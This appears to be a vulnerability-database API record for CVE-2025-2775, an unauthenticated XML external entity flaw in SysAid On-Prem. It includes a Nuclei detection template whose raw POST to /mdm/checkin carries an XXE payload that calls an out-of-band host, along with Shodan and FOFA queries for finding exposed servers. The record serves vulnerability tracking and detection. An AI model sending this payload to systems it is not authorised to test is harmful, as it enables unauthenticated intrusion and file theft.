{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-2775/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-2775/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-2775/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-2775/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-2775/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-2775"},"sightings":{"href":"/api/v1/sightings/cve-2025-2775"}},"enrichments":{"cisa-kev":{"kev":true},"epss":{"epss":0.42952,"kev":true,"percentile":0.98659},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-2775.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-2775\n\ninfo:\n  name: SysAid On-Prem <= 23.3.40 - XML External Entity\n  author: johnk3r\n  severity: critical\n  description: |\n    SysAid On-Prem versions <= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the Checkin processing functionality, allowing for administrator account takeover and file read primitives.\n  impact: |\n    Unauthenticated attackers can exploit XXE vulnerabilities in the Checkin endpoint to read arbitrary files, potentially leading to administrator account takeover and complete system compromise.\n  remediation: |\n    Upgrade to SysAid On-Prem version 24.40.60 or later that properly disables external entity processing.\n  reference:\n    - https://labs.watchtowr.com/sysowned-your-friendly-rce-support-ticket/\n    - https://documentation.sysaid.com/docs/24-40-60\n  classification:\n    epss-score: 0.42952\n    epss-percentile: 0.98662\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L\n    cvss-score: 9.3\n    cve-id: CVE-2025-2775\n    cwe-id: CWE-611\n  metadata:\n    max-request: 1\n    vendor: sysaid\n    product: sysaid\n    shodan-query: http.favicon.hash:\"1540720428\"\n    fofa-query: icon_hash=1540720428\n  tags: cve,cve2025,oast,sysaid,xxe,kev,vkev,vuln\n\nvariables:\n  filename: \"{{to_lower(rand_text_alpha(5))}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /mdm/checkin HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/xml\n\n        <?xml version=\"1.0\" ?>\n        <!DOCTYPE foo [\n        <!ENTITY % foo SYSTEM \"http://{{interactsh-url}}/{{filename}}.dtd\">\n        %foo;\n        ]>\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - \"User-Agent: Java\"\n# digest: 4a0a00473045022100d8bb16abd9aee87ab6916ecba48e2e5e80ada1a3dd3a718f632083c47be2bb76022020b6c0f2011af45992c5e136d7c3a691a4b51b081a680b6de82d48b3ed5f100d:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-2775"}